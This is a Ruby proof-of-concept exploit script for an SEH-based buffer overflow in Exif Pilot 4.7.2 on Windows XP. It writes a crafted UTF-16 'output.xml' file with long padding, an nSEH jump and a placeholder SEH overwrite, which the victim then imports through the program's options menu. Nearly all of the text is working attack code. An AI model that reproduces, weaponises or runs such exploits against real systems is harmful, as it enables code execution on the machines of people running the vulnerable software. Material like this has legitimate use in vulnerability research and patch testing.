#!/usr/bin/env ruby # Exploit Title: Exif Pilot SEH Based Buffer Overflow # Version: version 4.7.2 # Download: http://www.colorpilot.com/load/exif.exe # Tested on: Windows XP sp2 # Exploit Author: Osanda M. Jayathissa # E-Mail: osanda[cat]unseen.is    =beginClick Tools > Options > Customize 35mm tab > Import > and choose "output.xml". The p/p/r addresses contains null characters.  =endrequire 'rex'  def generate_content(padding1_len, padding2_len)   header = "\xff\xfe"  header << Rex::Text.to_unicode("<?xml version=\"1.0\" encoding=\"UTF-16\" ?>")   header << "\x0d\x00\x0a\x00"  header << Rex::Text.to_unicode("<efls>")   header << "\x0d\x00\x0a\x00"  header << Rex::Text.to_unicode("     <eflitem>")   header << "\x0d\x00\x0a\x00"  header << Rex::Text.to_unicode("          <maker>");   header << Rex::Text.to_unicode("");     for i in 0..padding1_len     header << Rex::Text.to_unicode("A");   end    header << "\xeb\x00\x06\x00\x90\x00\x90\x00" #nSEH   header << Rex::Text.to_unicode("CCCC"); #SEH     for i in 0..padding2_len     header << Rex::Text.to_unicode("A");   end    header << "\x0d\x00\x0a\x00\x09\x00\x09\x00"  header << Rex::Text.to_unicode("  </maker>")   header << "\x0d\x00\x0a\x00"  header << Rex::Text.to_unicode("          <model>abc</model>")   header << "\x0d\x00\x0a\x00"  header << Rex::Text.to_unicode("          <factor>0.000000</factor>")   header << "\x0d\x00\x0a\x00"  header << Rex::Text.to_unicode("    </eflitem>")   header << "\x0d\x00\x0a\x00"  header << Rex::Text.to_unicode("</efls>")   header << "\x0d\x00\x0a\x00"  return header end  ## # main ##   filename = 'output.xml'output_handle = File.new(filename, 'wb') if !output_handle   $stdout.puts "Cannot open the file #{filename} for writing!"  exit -1end  header = generate_content(1619, 7000)   $stdout.puts "Generating file #{filename}"output_handle.puts   header output_handle.close   $stdout.puts "Done!"exit 0#EOF